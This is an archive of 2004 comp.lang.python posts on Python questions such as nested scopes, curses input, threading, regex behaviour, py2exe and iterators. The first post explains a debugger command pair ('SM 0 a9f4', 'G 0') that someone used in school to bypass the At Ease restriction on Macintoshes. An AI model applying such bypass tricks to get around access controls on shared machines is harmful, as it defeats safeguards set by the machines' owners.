> I used someting similar to his to hack Macintoshes in high school: SM 0 
> a9f4, G 0, entered at the magic h4X0r prompt. I have no idea what it's 
> actually doing, but you could bypass At Ease with it ;-)


SM 0 a9f4          writes a9 f4 into memory at address 0
G 0                starts executing at address 0

A9F4 is the ExitToShell A-trap, which terminates the
current process. Looks like AtEase was rather easy to
bypass -- all you had to do was kill it!

Nobody's tried to claim their virtual chocolate fish yet,
btw. If you want a clue, the CPU was a National SC/MP...

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From jacek.generowicz at cern.ch  Wed Feb 25 09:04:36 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 25 Feb 2004 15:04:36 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<m38yirfj0z.fsf@pc150.maths.bris.ac.uk>
Message-ID: <tyfsmgzmf0r.fsf@pcepsft001.cern.ch>

Michael Hudson <mwh at python.net> writes:

> Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> 
> > "Terry Reedy" <tjreedy at udel.edu> writes:
> > 
> > > Nested functions are much rarer than unnested.  Needing to rebind an
> > > outer local, rather than merely read or mutate, is rarer still.

> > I sumbit to you that read-only closures are rare in Python because
> > they are a recent addition to the language.
> 
> Actually, I think uses of nested scopes are fairly common

While I don't pretend to have any idea how much the "typical" Python
programmer uses nested scopes, I am tempted to agree with you that
their use is quite common. However, I did not want to start a debate
(with Terry or anyone else) about the _absolute_ frequency of nested
functions, and so decided to phrase my statement in terms of an
agremment on the _relative_ infrequency of nested functions as
compared to unnested ones.

:-)


From cookedm+news at physics.mcmaster.ca  Tue Feb 24 17:40:25 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Tue, 24 Feb 2004 17:40:25 -0500
Subject: Ctrl-key detection in curses
References: <mailman.25.1077608037.8594.python-list@python.org>
Message-ID: <qnk8yist82u.fsf@arbutus.physics.mcmaster.ca>

At some point, "Melysa Handayani" <melys at telkom.net> wrote:

> Is there any other methods to retrieve inputs in curses than getch()
> or getkey(), specially ones that can detect ctrl-key?
> Thank you!

Do mean checking for a ctrl-key press by itself? Can't be done -- the
terminal doesn't report that. If you mean ctrl-key + character,
getch() and getkey() do that.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From aahz at pythoncraft.com  Tue Feb 10 22:18:29 2004
From: aahz at pythoncraft.com (Aahz)
Date: 10 Feb 2004 22:18:29 -0500
Subject: help! multi-threading problem on hyperthreading smp linux server
References: <402901C2.00000B.04040@PIGPEN>
	<2004021012361076434601@k2.sage.att.com>
Message-ID: <c0c6u5$8bd$1@panix2.panix.com>

In article <2004021012361076434601 at k2.sage.att.com>,
Garry Hodgson  <garry at research.att.com> wrote:
>
>a colleague of mine has seen an odd problem in some code of ours. we
>initially noticed it on webware, but in distilling a test case it seems
>to be strictly a python issue. in the real system, it manifests as
>webware just locking up, for no apparent reason, until we kill it.
>we've also had the python interpreter running webware die on occasion.
>it works fine on our desktop linux and windows machines, but fails on
>the production hardware. the main difference being that the production
>hardware is a dual Xenon machine with hyperthreading enabled.

What version of Python?  What happens if you enable both CPUs without
hyperthreading?  What happens if you only start ten threads (fifty
threads isn't huge, but it's definitely large)?  The last time I saw or
heard of significant problems like this was in the Python 1.5.1 days, and
Python 2.x fixed a few more bugs.

Have you applied all relevant OS patches and/or tried upgrading to a
newer kernel?  Can you test the production system (or an equivalent) with
Windows?  What happens if you run an equivalent test using C code?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From mwh at python.net  Thu Feb 19 06:41:50 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 19 Feb 2004 11:41:50 GMT
Subject: Why import only at module level?
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
Message-ID: <m31xorjnya.fsf@pc150.maths.bris.ac.uk>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:

> That's what the Python style guides advise.  They 
                                               ^^^^
I do wish people would stop using this word in this sort of context...

> don't seem to like
> 
>    def frob(x):
>       import re
>       if re.search('sdf[234]xyz', x): ...
> 
> instead preferring that you pollute your module's global namespace
> with the names of all your imports.  What's the point of that?

What's the problem with that?

> It gets worse when you want to do something like
> 
>    def dispatch(obj):
>       from types import *
>       if type(obj) == ListType: obj_list(obj)
>       elif type(obj) == FunctionType: obj_fcn(obj)
>       ...
> 
> here you actually get a syntax warning that "from ... import *" is not
> ALLOWED except at the module level.

The problem HERE is for nested scopes; it's impossible to know in

def f():
    from baz import *
    def g():
        return y

where y is coming from (i.e. is it a captured binding or a global).

> So what's the reason for the syntax warning, and for the convention of
> putting the imports at the top of the module?

I think putting imports at the top is just so you can find them
easily, and at a glance see which modules a given module imports.

Cheers,
mwh

-- 
  "The future" has arrived but they forgot to update the docs.
                                        -- R. David Murray, 9 May 2000


From jzgoda at gazeta.usun.pl  Wed Feb 18 04:46:44 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Wed, 18 Feb 2004 09:46:44 +0000 (UTC)
Subject: python and MQseries
References: <ca5642cb.0402172258.7c11b45a@posting.google.com>
Message-ID: <c0vca3$fp6$3@atlantis.news.tpi.pl>

ardechou <ardechou at free.fr> pisze:

> Hi , i'm working on unix with MQseries and egate
> i want to have an injector to use in MQseries. , of course i want to
> use python to code this.
> do you some news on ?
> i want to hve just a sample to begin.

If you google for "python MQSeries", I'm sure you will find pymqi.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From danb_83 at yahoo.com  Wed Feb 25 20:48:08 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 25 Feb 2004 17:48:08 -0800
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <c1dms2$l8b$1@sea.gmane.org>
	<mailman.3.1077569287.8594.python-list@python.org>
Message-ID: <ad052e5c.0402251748.2f507d4c@posting.google.com>

jepler80 at unpythonic.net wrote in message news:<mailman.3.1077569287.8594.python-list at python.org>...
> Here's another workaround (also in ~/.pythonrc):
> 	class Exiter:
> 	    def __repr__(self): raise SystemExit
> 	quit = exit = Exiter()
> 
> $ python
...
> >>> exit
> $ 
> 
> Of course, *anything* that would print the repr of exit exits:
> >>> globals()
> $
> 
> This cure is worse than the disease, I think....

Here's an alternative that doesn't have that problem:

Python 2.3.3 (#2, Jan  4 2004, 12:24:16)
[GCC 3.3.3 20031229 (prerelease) (Debian)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> class Exiter:
...    def __repr__(self):
...       return 'Exiter()'
...
>>> def _displayhook(obj):
...    if isinstance(obj, Exiter):
...       raise SystemExit
...    elif obj is not None:
...       print repr(obj)
...       __builtins__._ = obj
...
>>> sys.displayhook = _displayhook
>>> quit = exit = Exiter()
>>> vars()
{'quit': Exiter(), '__builtins__': <module '__builtin__' (built-in)>,
'Exiter': <class __main__.Exiter at 0x40218a4c>, 'sys': <module 'sys'
(built-in)>, 'exit': Exiter(), '__name__': '__main__', '_displayhook':
<function _displayhook at 0x40217ed4>, '__doc__': None}
>>> quit
$


From myles at geocities.com  Sun Feb 15 17:35:46 2004
From: myles at geocities.com (Myles)
Date: 15 Feb 2004 14:35:46 -0800
Subject: Beginners list of Python donloads - please review
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
Message-ID: <a4638b9b.0402151435.1b9078d0@posting.google.com>

"Will" <wstandley at netpv.com> wrote in message news:<TupXb.39481$Bb.333441 at twister.tampabay.rr.com>...

> I running Windows XP Pro and wanted to download Python and any additional
> tools I should consider using as I get going...
[...]
> Please suggest additions or deletions.

PyChecker : http://pychecker.sourceforge.net/
Checks for invalid syntax, possible misspellings, etc.

Dive Into Python : http://diveintopython.org/
Read the chapter on unit testing.

Regards, Myles.


From rezaim_1999 at yahoo.com  Tue Feb 10 15:14:07 2004
From: rezaim_1999 at yahoo.com (Dave)
Date: 10 Feb 2004 12:14:07 -0800
Subject: Importing a package and looping through modules in the package
References: <eee922fc.0402091929.1764626d@posting.google.com>
	<mailman.1397.1076388282.12720.python-list@python.org>
Message-ID: <eee922fc.0402101214.f3e178d@posting.google.com>

Rich Krauter <rmkrauter at yahoo.com> wrote in message news:<mailman.1397.1076388282.12720.python-list at python.org>...
> On Mon, 2004-02-09 at 22:29, Dave wrote:
> > Hi Everyone,
> > 
> > I am trying to import a package and then loop through the modules
> > inside the package, but I'm running to a problem.  Basically:
> > -----
> > I have a package called
> > regression.changepassword.unittests which contains test modules.
> > ---
> > In a test agent module (called agent.a), I do the following:
> > 
> > from regression.changepassword.unittests import *
> > utilities.runTests("regression.changepassword.unittests.")
> 
> 
> Do you have __all__ defined in your __init__.py in
> regression.changepassword.unittests?
> 
> This part of the tutorial might help:
> http://www.python.org/doc/current/tut/node8.html#SECTION008410000000000000000
> 
> Rich

Hi Rich,

Thanks for your response.  That was exactly what the problem was.  I
should have gone through the tutorial more carefully :).

Thanks,
Bardia


From r.byrom at rl.ac.uk  Tue Feb 10 08:37:13 2004
From: r.byrom at rl.ac.uk (byrom)
Date: 10 Feb 2004 13:37:13 +0000
Subject: Parsing files
In-Reply-To: <16424.56750.41777.193185@montanaro.dyndns.org>
References: <A5AF6F04CF7FD311BC5700902773DDC701F65F07@exchange13.rl.ac.uk>
	<16424.56750.41777.193185@montanaro.dyndns.org>
Message-ID: <1076420233.7117.5.camel@hepntw161.pp.rl.ac.uk>

On Tue, 2004-02-10 at 13:33, Skip Montanaro wrote:
>     Rob> Does anyone know of a neat way to read-in config files? At the
>     Rob> moment I'm using the ConfigParser module but I have to add sections
>     Rob> to the config file to make it parseable ie
> 
>     ...
> 
> In what way does the file not parse if the section is not available?  If you
> need default values, take a look at the Options.py module which is part of
> Spambayes:
> 
>     http://cvs.sourceforge.net/viewcvs.py/spambayes/spambayes/spambayes/Options.py?rev=1.104
> 
> Skip

thanks, I've taken a look but I'm still unclear as to how the defaults
work. At the moment my config file has no section but when I create a
new ConfigParser it complains that no sections are defined (so the parse
fails). Can I fool the ConfigParser by defining an 'empty' default and
if do you know how?

thanks again,

Rob





From kbk at shore.net  Sun Feb 29 20:32:13 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Mon, 01 Mar 2004 01:32:13 GMT
Subject: IDLE on Windows; save files as UNIX?
References: <lvo0c.15119$aT1.1581@newsread1.news.pas.earthlink.net>
Message-ID: <87smgt5p42.fsf@hydra.localdomain>

Jay O'Connor <jayoconnor at earthlink.net> writes:

> Is there any way to for IDLE in Windows to save files in UNIX format?

Sure, IDLE could be enhanced to do that, but it would be an example of
creeping features IMO.  Few people need it and it would clutter the
interface.

You proably have a shebang line at the beginning of the file.  Why not
create a "template" with Linux line endings which has this one line.
When IDLE loads it, it will continue with that line ending pattern.

-- 
KBK


From huggiepython at graffiti.idv.tw  Wed Feb 25 11:48:08 2004
From: huggiepython at graffiti.idv.tw (Timothy Wu)
Date: Thu, 26 Feb 2004 00:48:08 +0800
Subject: Bookmark URL Parsing
Message-ID: <403CD1C8.3020101@graffiti.idv.tw>

Hi,

I'm trying to parse FireFox bookmark files manually using regular
expressions. I tried to match key-value pairs in tags like the following:

  matches = re.findall(r'(\S+)="(.+)"', text)

However, I find that if the URL I'm matching contains something
non-standard I may encounter a problem. For example, one of the link
content I have is javascript code and contains character %22(as shown
when opening with VI). I've figure out that %22 equals to the quotation
mark '"'. That interferes with my match.

How exactly does %22 maps to the quotation mark? I know I often see the
kind of representation in a URL, but what exactly is it and where would
I find info on that? And most importantly, how do I make my match work?

Timothy




From maarten at remove_this_ws.tn.tudelft.nl  Sun Feb  1 07:48:23 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Sun, 01 Feb 2004 13:48:23 +0100
Subject: Numeric array referencing vs copying.
Message-ID: <bvisin$6o7$1@news.tudelft.nl>

Hello,

I recently started using Python for CFD postprocessing, and although I like
the language very much, it's memory management (copying vs referencing)
makes me a little paranoid sometimes. Could you clarify how this works in
Python?

- does the array constructor make a copy of the elements?
- is a[:] = b[:] different from a = b?

Some good examples are in the fragment below:

from Numeric import *

def el_changebase(vecfield, newbase):
   """ Changes the base of the vectorfield. newbase is a list containing the
       new basevectors(which are an 1D-array). vecfield is a list containing
       the fields for the individual vector components fields. The lenght of
       the vecfield and newbase lists must be identical. """

   vf = vecfield
   nb = newbase
   nf = []

   tmp = array(vf[0], vf[0].typecode(), savespace = 1)

   for bcomp in range(len(newbase)):
      tmp[:] = 0
      for vcomp in range(len(newbase)):
         tmp = tmp + nb[bcomp][vcomp] * vf[vcomp]

      nf.append(array(tmp))

   return nf

# sample run
u = arange(9)
u.shape = (3,3)
v = array(u)

print "before:\n", u, "\n", v

s2 = 0.5 * sqrt(2)

# rotate the coordinate system 45 degrees
u, v = el_changebase([u,v],[array((s2, s2)), array((s2, -s2))])

print "after:\n", u, "\n",  v

TIA, Maarten

-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From simonb at NOTTHISBIT.webone.com.au  Sun Feb 15 01:32:38 2004
From: simonb at NOTTHISBIT.webone.com.au (Simon Burton)
Date: Sun, 15 Feb 2004 17:32:38 +1100
Subject: PyEval_AcquireLock deadlock mystery
References: <pan.2004.02.14.10.00.38.292492@NOTTHISBIT.webone.com.au>
Message-ID: <pan.2004.02.15.06.32.31.92332@NOTTHISBIT.webone.com.au>


Whoa, this was a tough one. But now i know about --with-pydebug and a few
other things.

Python only releases the GIL every once in a while
and my test code used only one instruction that held the GIL in the main
thread. It dawned on me after watching backtraces of acquire/release
locks of the working/not working versions.

Simon.

-- 
Simon Burton, B.Sc.
Licensed PO Box 8066
ANU Canberra 2601
Australia
Ph. 61 02 6249 6940
http://arrowtheory.com



From jhefferon at smcvt.edu  Wed Feb 18 22:14:52 2004
From: jhefferon at smcvt.edu (Jim Hefferon)
Date: 18 Feb 2004 19:14:52 -0800
Subject: doc.toxml() gives ASCII encoding error
References: <545cb8c2.0402181428.5e0487fd@posting.google.com>
	<c10pt1$cr$07$2@news.t-online.com>
Message-ID: <545cb8c2.0402181914.6d93f8bc@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote
> You are not doing anything wrong; it's a bug. Try Python 2.3, or
> try PyXML.
> 
Thanks.  I understand that getting 2.3 to go on Fedora is non-trivial
(although I recently saw that RPM's are now available, so maybe now is
my chance).

I've decided that doc.toxml().encode('UTF-8') is what I want.  I have
to admit that while I have gotten used to thinking of modules as black
boxes, the XML stuff seems to me to be such a big box that I often am
not sure just what I want to do.  I don't think I have the whole
infoset thing inside my brain yet.

Thanks again,
Jim


From mhammond at skippinet.com.au  Tue Feb 17 17:57:03 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 18 Feb 2004 09:57:03 +1100
Subject: Where to find the Pythonwin for Python 2.3?
In-Reply-To: <c0t4ve$1aue$1@mail.cn99.com>
References: <c0t4ve$1aue$1@mail.cn99.com>
Message-ID: <c0u689$19gp$1@arachne.labyrinth.net.au>

?????????? wrote:

> Hello, everyone
> I like the Python's IDE in windows --- Pythonwin.
> But now I can only find the version for Python 2.2.
> How can I get the Pythonwin for 2.3?
> Thanks!

http://sourceforge.net/projects/pywin32, and follow the links to the 
'Files' section.

Mark


From premshree_python at yahoo.co.in  Thu Feb 19 06:14:39 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Thu, 19 Feb 2004 11:14:39 +0000 (GMT)
Subject: Easy way to make EXEs...
In-Reply-To: <4030857d.328688438@News.CIS.DFN.DE>
Message-ID: <20040219111439.60704.qmail@web8309.mail.in.yahoo.com>

 --- Gerhard Kalab <kalab at gmx.net> wrote: > I also
find it convenient to add the following lines
> to setup.py
> (found in a sample somewhere):
> 
> if len(sys.argv) == 1:
>     sys.argv.append("py2exe")
> 
> That way you can simply double-click on setup.py to
> create an
> executable.
> 
> Gerhard
> 
> On 13 Feb 2004 19:14:24 -0800, billludden at msn.com
> (Bill Ludden) wrote:
> 
> >Voila!  Yeah!
> >Thank You, Lucas!
> >
> >Newbs appreciate people like you.
> >We have to search Google for hours to find a post
> that will put it on our level.
> >I can't tell you how much I appreciate the
> step-by-step.
> >Now I understand the process and the syntax.
> >
> >
> >Gracias!!!!
> >Grazie  !!!
> >Thx.!!!
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >"Lucas Raab" <pythongnome at hotmail.com> wrote in
> message
>
news:<X8iSb.1962$jH6.125 at newsread1.news.atl.earthlink.net>...
> >> "Xero Limit 126" <xerolimit126 at earthlink.net>
> wrote in message
> >>
>
news:NMDRb.28013$i4.26542 at newsread1.news.atl.earthlink.net...
> >> > Okay, I am completely new to Python, and I
> really dont understand much,
> >>  but
> >> > I was wondering how to make a python
> script/program into a standalone
> >>  .EXE?
> >> > I dont understand py2exe at all, so if someone
> could tell me or find me an
> >> > easy (For a newbie) to convert Python scripts
> to EXEs, please let me know!
> >> >
> >> > Thanks for any help!
> >> >
> >> >
> >> You should have no trouble with py2exe at all. A
> simple setup script would
> >> be:
> >> 
> >> #setup.py
> >> from distutils.core import setup
> >> import py2exe
> >> 
> >> setup(name="myfile.py",
> >>       scripts=["myfile.py"],
> >>       )
> >> 
> >> Then to compile that file, go to the command
> prompt and switch to the
> >> directory that the file is in. For example on my
> machine I would do the
> >> following:
> >> 
> >> Microsoft Windows XP [Version 5.1.2600]
> >> (C) Copyright 1985-2001 Microsoft Corp.
> >> 
> >> C:\Documents and Settings\Lucas Raab>cd
> C:\Python23
> >> 
> >> C:\Python23>python setup.py py2exe
> >> 
> >> Wait a few moments for py2exe to compile your
> script and Voilla!! you have
> >> an executable.
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list 

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. 
Go to: http://in.insurance.yahoo.com/licspecial/index.html



From teiffel at attglobal.net  Sat Feb 28 15:14:17 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Sat, 28 Feb 2004 15:14:17 -0500
Subject: \w in regular expression
Message-ID: <4040F699.1070804@attglobal.net>

Hello,

I am reading
http://www.amk.ca/python/howto/regex/

But there is an incongruence:
In the paragraph 2.1:  Matching Character:

|\w|
    Matches any alphanumeric character; this is equivalent to the class
    [a-zA-Z0-9_].

|\W|
    Matches any non-alphanumeric character; this is equivalent to the
    class |[^a-zA-Z0-9_]|.

Which is fine with me and the same as in Perl and congruent with:

|\d|
    Matches any decimal digit; this is equivalent to the class [0-9].

|\D|
    Matches any non-digit character; this is equivalent to the class
    |[^0-9]|.

|
But in the paragraph 5.1: Splitting Strings
I find:
|

>>> p = re.compile(r'\W+')
>>> p.split('This is a test, short and sweet, of split().')
['This', 'is', 'a', 'test', 'short', 'and', 'sweet', 'of', 'split', '']


At first I thought a typo:
But on my Python command line:
Python 2.3 (#46, Jul 29 2003, 18:54:32) [MSC v.1200 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import re
>>> p = re.compile(r'\W+'); print p
<_sre.SRE_Pattern object at 0x0090DC38>
>>> p.split('This is a test, short and sweet, of split().')
['This', 'is', 'a', 'test', 'short', 'and', 'sweet', 'of', 'split', '']
>>> p = re.compile(r'\w+'); print p
<_sre.SRE_Pattern object at 0x0090D140>
>>> p.split('This is a test, short and sweet, of split().')
['', ' ', ' ', ' ', ', ', ' ', ' ', ', ', ' ', '().']
>>>



In other word is Python re module not compatible with Perl ?


I also noted that the tools\scripts\redemo.py behaves different than the Python command line ( it is not the only case )
because it matches 'This' when I use \w+  and not when I use \W+


???


Thank you for any comments,

Marcello






||








From miki.tebeka at zoran.com  Tue Feb 10 00:25:16 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 9 Feb 2004 21:25:16 -0800
Subject: Searching
References: <102fauct3hc3lcc@corp.supernews.com>
Message-ID: <4f0a9fdb.0402092125.18c5275@posting.google.com>

Hello,

> I should let you know that this is a function attached to a button that
> searches my harddrive for files it has an entry field to do the searching
> but it prints out every image file I want to limit it the name typed in eg
> if I type ocean every file with the name ocean appears
Have a look at the `glob' module.

HTH.
Miki


From me at privacy.net  Mon Feb 23 11:25:10 2004
From: me at privacy.net (Duncan Booth)
Date: 23 Feb 2004 16:25:10 GMT
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
	<lvVZb.43854$5W3.38603@nwrddc02.gnilink.net>
	<xqxsmh2dyyn.fsf@cola2.ca.boeing.com>
Message-ID: <Xns9498A6FC5A74Fduncanrcpcouk@127.0.0.1>

Harry George <harry.g.george at boeing.com> wrote in 
news:xqxsmh2dyyn.fsf at cola2.ca.boeing.com:

> Slightly off topic, how do you "reset" or backup an iter?  Someone
> asked me a couple of days ago how to use yield and then backup if the
> yielded line failed to meet certain criteria.  Essentailly a
> lookahead(1) situation.

Python defines iterables as having a method '__iter__' which returns an 
iterator, and iterators as having methods 'next' to return the next value, 
and '__iter__' which returns the iterator itself.

That's it. What you see on the tin is what you get.

Of course, if you need a resettable iterator, or one that can backtrack, 
then there is no any reason why you can't program it for yourself, but this 
functionality isn't part of the definition of an iterator.

> 
> Historically, I've made a list, kept track of the line index, and
> decremented that when I needed to backup.  Does iter have something
> equiv?

You could almost certainly implement this kind of functionality once and 
then use it to wrap any iterators that might need to backtrack:

>>> class IterWithPushback:
        def __init__(self, it):
                self.__iter = iter(it)
                self.__next = []
        def __iter__(self):
                return self
        def next(self):
                if self.__next:
                        return self.__next.pop()
                return self.__iter.next()
        def pushback(self, value):
                self.__next.append(value)

>>> myIter = IterWithPushback(range(5))
>>> for i in myIter:
        if i==3:
                myIter.pushback('a')
                myIter.pushback('z')
        print i

        
0
1
2
3
z
a
4
>>> 

This has unbounded pushback, and because you have to say what you are 
pushing back it doesn't need to hold any unneeded values (at the point 
where you are pushing values back you probably know what values you just 
got so you can push them back it you want the same values, or push back 
something different if you prefer).


From nir1408 at hotmail.com  Sun Feb 22 07:46:24 2004
From: nir1408 at hotmail.com (Ziaran _)
Date: Sun, 22 Feb 2004 14:46:24 +0200
Subject: Where can I post a new debugger?
Message-ID: <BAY10-F116vd5X00lfe00015c92@hotmail.com>

I have written a new debugger.
I think people will find it useful.
Where can I post it for people to download?

Thanks,
Nir

_________________________________________________________________
The new MSN 8: smart spam protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail




From ajp at eutechnyx.com  Wed Feb 11 05:08:07 2004
From: ajp at eutechnyx.com (Andrew Perella)
Date: 11 Feb 2004 02:08:07 -0800
Subject: win32com visual studio dot net events
Message-ID: <4ebb1701.0402110208.14f44eb6@posting.google.com>

Hi,
Has anyone managed to hook into visual studio dot net build events (or any
other events)? I can add my own button to a toolbar from python and handle
that events due to DispatchWithEvents(item, ButtonEvent) working on a button
item. Trying to use this with any other object tells me "This COM object
does not support events."
Clearly the vsdotnet supports events as all the sample code for
c++/c#/vbmacros etc testify.

Any help would be greatly appreciated,
Best Regards,
Andrew
Dr Andrew Perella

Programming Manager

ajp at eutechnyx.com


From amartin at wpsnetwork.com  Wed Feb  4 03:20:43 2004
From: amartin at wpsnetwork.com (Aurelio Martin)
Date: Wed, 04 Feb 2004 09:20:43 +0100
Subject: Reading files with names dynamically changing
In-Reply-To: <mailman.1184.1075873344.12720.python-list@python.org>
References: <mailman.1184.1075873344.12720.python-list@python.org>
Message-ID: <bvqa0k$vgfte$1@ID-50400.news.uni-berlin.de>


import time

counter = 1      # First file number
interval = 20    # Time (in seconds) between files

# Run forever

while 1:

     # Keep current time

     t0 = time.time()

     # Open current file and process

     print "Reading file number %d..." % counter
     f = open( "/path/to/the/files/%07d.dat" % counter, "r" )
     process_data_in_file( f )
     f.close()
     counter = counter + 1

     # Sleep until next file

     t1 = time.time()
     if ( t1 - t0 ) < interval:
         time.sleep( interval - ( t1 - t0 ) )


Satish Kumar Chimakurthi wrote:
> Hi all,
> 
> An external solver program is dynamically producing files with different
> names 0000001.dat, 0000002.dat, 0000003.dat etc.....at regular intervals.
> These files contain all numeric data. Is it possible to read each of these
> dynamically in python ?? If so, how should my code look like ?? If it was
> not dynamically required, then, I would change the name of the file in my
> *open* statement every time and read the corresponding one. But then, I
> need everything to be done automatically without my changing the code.
> 
> Can someone help me ??
> 
> 
> Thanks,
> 
> Best Regards,
> Satish
> 
> 
> 



From M.Boeren at guidance.nl  Mon Feb 23 05:26:23 2004
From: M.Boeren at guidance.nl (Marc Boeren)
Date: Mon, 23 Feb 2004 11:26:23 +0100
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
Message-ID: <7BE0F4A5D7AED2119B7500A0C94C58AC3D6FCC@DELLSERVER>


> select * from T where C1 not in (1,2,3)

> cursor.execute("select * from T where C1 not in (%s)",params).

Try this (just some snippets to get you going)

# this is used to translate lists/tuples to (1,2,3) format
# doesn't check to see if contents are actually numeric...
def _converter_set_ids(x, d):
    if not len(x): return "(NULL)"
    return "(%s)" % ", ".join([str(xx) for xx in x])

connection = db.connect(**connectparams)
# map tuples/lists to my own conversion function
connection.converter[types.TupleType] = _converter_set_ids
connection.converter[types.ListType] = _converter_set_ids
cursor = connection.cursor()
cursor.execute("select * from T where C1 not in (%s)", params)


Cheerio, Marc.



From vincent at visualtrans.de  Thu Feb 26 13:57:15 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Thu, 26 Feb 2004 19:57:15 +0100
Subject: Dumb noob q: ASCII value of a character
References: <c1ldn6$if2$1@news.freedom2surf.net>
Message-ID: <c1lfhb$usl$1@news1.tilbu1.nb.home.nl>


"Steve Horsley" <shoot at the.moon> schrieb im Newsbeitrag
news:c1ldn6$if2$1 at news.freedom2surf.net...
> How can I get the ASCII value of a character, e.g. I have:
>
> str = "A B"
> for index in range(0, len(str)):
>     value = WHAT_GOES_HERE?(str[index])
>     print value
>
>
> and I hope to get:
> 65
> 32
> 66

Hi Steve,

a word of advice: do not use the name of an existing function as identifier
for
a variable ( I am referring to your usage of str as the name of the
variable - you are reassigning it!!!). But back to your question:
What you're looking for is:

s = "A B"
for c in s:
    print ord(c)

HTH,

Vincent Wehren






know the characters will be printable ASCII.
> But how do I get those ASCII character values from the characters???
> I can't seem to find it in the library reference
>
> Thanks,
> Steve




From Pieter.Claerhout at Creo.com  Fri Feb  6 03:02:01 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Fri, 6 Feb 2004 09:02:01 +0100 
Subject: hide sourcecode
Message-ID: <490316A24CC5D411ACD700B0D078F7F003915E56@cseexch01.cse.creoscitex.com>

That's something non obvious if you for example try to make a commercial
application using Python... It's not because the language is open source
that it automatically means the applications should all be open source as
well...

pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)


-----Original Message-----
From: pythonguy at Hotpop.com [mailto:pythonguy at Hotpop.com] 
Sent: 06 February 2004 08:51
To: python-list at python.org
Subject: Re: hide sourcecode


In a lighter vein, why do you want to hide your
python source code? Python is an 'open source' language
so I advise you to share your source code with us :-)

-Anand

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message
news:<bvu6m3$cg1$1 at news.service.uci.edu>...
> > I don't know about Windows, but on Unix you can create a script with
> > permissions 700 and create a small setuid program executing this script.
> > 
> > Don't know whether Windows has such useful things though, probably not
:-P
> 
> I've never used setuid, but I would imagine that it works as the name 
> suggests, it sets the user id of the process.  Which would allow you to 
> run the script with Python, but not read the source.
> 
> There is likely a nontrivial set of methods and system calls where a 
> script could use the 'run as' service in windows to do a similar thing, 
> but I wouldn't want to write it.
> 
>   - Josiah
-- 
http://mail.python.org/mailman/listinfo/python-list



From chrish at cryptocard.com  Thu Feb 12 08:27:56 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Thu, 12 Feb 2004 08:27:56 -0500
Subject: Hi All, have a  question
In-Reply-To: <402AAC0F.3995BA83@engcorp.com>
References: <mailman.1490.1076534640.12720.python-list@python.org>
	<402AAC0F.3995BA83@engcorp.com>
Message-ID: <L6LWb.7910$lK.570372@news20.bellglobal.com>

Peter Hansen wrote:
> "Batista, Facundo" wrote:
> 
>>If you type "python" in the command line, it opens the interpreter?
>>
>>If yes, you can put "#!/usr/bin/env python" in the first line of the script.
>>
>>And remember, in either case, the second line *must* be blank.
> 
> Why is that?  I've never heard this advice before, and it doesn't seem
> to be necessary, as a test I just did suggests.  (RedHat 8.0, Py 2.2.1)

I've never done that either, on a wide variety of systems (BeOS, QNX 4, QNX 
6, Linux, cygwin, Mac OS X)... my scripts always start like this:

#!/usr/bin/env python
#
# Comments describing the script...

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From isaac at latveria.castledoom.org  Fri Feb  6 23:23:03 2004
From: isaac at latveria.castledoom.org (Isaac)
Date: Sat, 07 Feb 2004 04:23:03 GMT
Subject: Release announcement for Easibox 0.5.0
References: <slrnc20g2s.e4v.philh@cabalamat.cabalamat.org>
Message-ID: <slrnc28q17.7n.isaac@latveria.castledoom.org>

On Wed, 4 Feb 2004 00:44:12 +0000, phil hunt <philh at invalid.email.address> 
wrote:
> 
> Release notes for the latest version of Easibox:
